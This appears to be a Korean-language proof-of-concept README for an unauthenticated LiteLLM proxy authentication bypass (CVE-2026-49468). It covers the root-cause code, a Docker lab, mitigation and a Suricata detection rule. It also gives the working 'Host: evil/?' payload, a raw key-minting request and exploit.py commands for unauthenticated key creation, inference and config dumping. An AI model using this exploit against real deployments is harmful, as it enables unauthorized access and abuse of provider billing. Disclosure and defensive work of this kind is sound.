
CVE-2026-49468 — LiteLLM (<1.84.0) 인증되지 않은 인증 우회 (Host-header 경로 혼동을 통한). PoC + 도커 랩.
BerriAI의 LiteLLM 프록시에서 사전 인증 인증/권한 부여 우회. 조작된 Host 헤더 하나만으로 프록시가 공개 상태 경로(health route)에 대해 인증 결정을 평가하도록 만드는 반면, FastAPI는 여전히 보호된 관리 핸들러를 실행하여 API 키 없이 요청을 처리합니다.
| CVE | CVE-2026-49468 |
| 제품 | LiteLLM (BerriAI) 프록시 |
| 영향받는 버전 | < 1.84.0 (v1.83.14-stable에서 확인) |
| 수정 버전 | 1.84.0 |
| 클래스 | 부적절한 인증 (CWE-290) — 경로 혼동 |
| 인증 | 없음 (사전 인증) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD) |
| CVSS 4.0 | 9.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub) |
| 상태 | 확인됨 — 우회가 종단 간 재현됨; 1.84.0에서 수정 확인됨 |
전체 익스플로잇은 하나의 헤더입니다:
Host: evil/?
litellm/proxy/auth/auth_utils.py::get_request_route()는 모든 인증 결정에 사용되는 경로를 request.url.path에서 가져옵니다. Starlette는 클라이언트가 제어하는 Host 헤더에서 해당 URL 문자열을 재구성합니다:
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path
FastAPI 라우팅은 원시 ASGI 경로 request.scope["path"]에서 디스패치합니다. Host 헤더에 ?를 주입하면 실제 요청 경로가 URL 쿼리 구성 요소로 밀려나므로 재구성된 url.path가 /로 축소됩니다:
실제 요청 경로 (scope, FastAPI 라우팅): /key/generate
Host 헤더 : evil/?
재구성된 URL : http://evil/?/key/generate
urlsplit(...).path : / <-- 인증이 이를 확인함
/는 LiteLLMRoutes.public_routes에 있으며, 두 인증 게이트는 동일한 위조된 값을 사용하여 공개 경로에서 단락(short-circuit)됩니다:
# user_api_key_auth.py — authentication builder
if route in public_routes: # route == "/"
return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # no API key required
# user_api_key_auth.py — authorization wrapper
if route in public_routes: # route == "/"
return # skips common_checks / admin-route enforcement
수정 (1.84.0): 이제 get_request_route()는 request.scope["path"] / scope["root_path"]를 직접 읽으며, Host 헤더에서 재구성하지 않습니다.
인증되지 않은 상태에서 접근 가능 (INTERNAL_USER_VIEW_ONLY로 제공됨):
POST /key/generate → 유효한 가상 API 키 생성. 이 키는 우회 헤더 없이 일반 인증으로 작동 → 지속적인 인증된 발판 및 제공자 비용 남용.POST /user/new → 사용자 생성.POST /chat/completions (+ /v1/models, /model/info) → 프록시에 구성된 LLM 제공자에 대한 인증되지 않은 추론.GET /spend/logs, /settings, /get/config/callbacks → 구성/원격 측정 정보 공개.인라인 PROXY_ADMIN 검사로 보호되는 엔드포인트는 차단된 상태로 유지되므로 (/config/update, /model/new, /user/list, /key/list, 역할 상승, MCP 직접 생성), 이 우회는 v1.83.14에서 전체 프록시 관리자 또는 RCE를 얻지 못합니다 — ANALYSIS.md 참조.
# 1. bring up a vulnerable + patched lab (auth enabled with a master key)
cd lab && docker compose up -d && cd ..
# 2. confirm the bypass
python3 exploit.py -u http://127.0.0.1:4000 check
# [*] GET /user/list no-bypass Host -> 401
# [*] GET /user/list Host: evil/? -> 403
# [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).
# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] Minted virtual API key (unauthenticated): sk-....
# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump
# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check
exploit.py는 stdlib만 사용 (http.client)하며 와이어 레벨에서 Host 헤더를 그대로 설정합니다. 작업: check, mint-key, user, chat, dump, raw METHOD PATH.
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
HTTP/1.1 200 OK
{"key":"sk-...", ...}
전체 기준/우회 매트릭스, 적대적 판별자 (evil → 401, evil/foo → 401, evil/? → 200) 및 패치된 경계에 대해서는 EVIDENCE.txt를 참조하세요.
1.84.0 이상으로 업그레이드하세요.Host 검증을 시행하는 리버스 프록시 뒤에 프록시를 배치하고 (/, ?, #를 포함하는 Host 값 거부), master_key를 설정하세요.이 우회는 구문상 유효하지 않은 Host 헤더입니다. 샘플 Suricata 규칙:
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
로그 측면: LiteLLM 프록시에 도달하는 Host 헤더에 /, ?, 또는 #가 포함된 모든 요청.
Caio Fabrício (BiiTts).
공인된 보안 연구 및 테스트 전용입니다.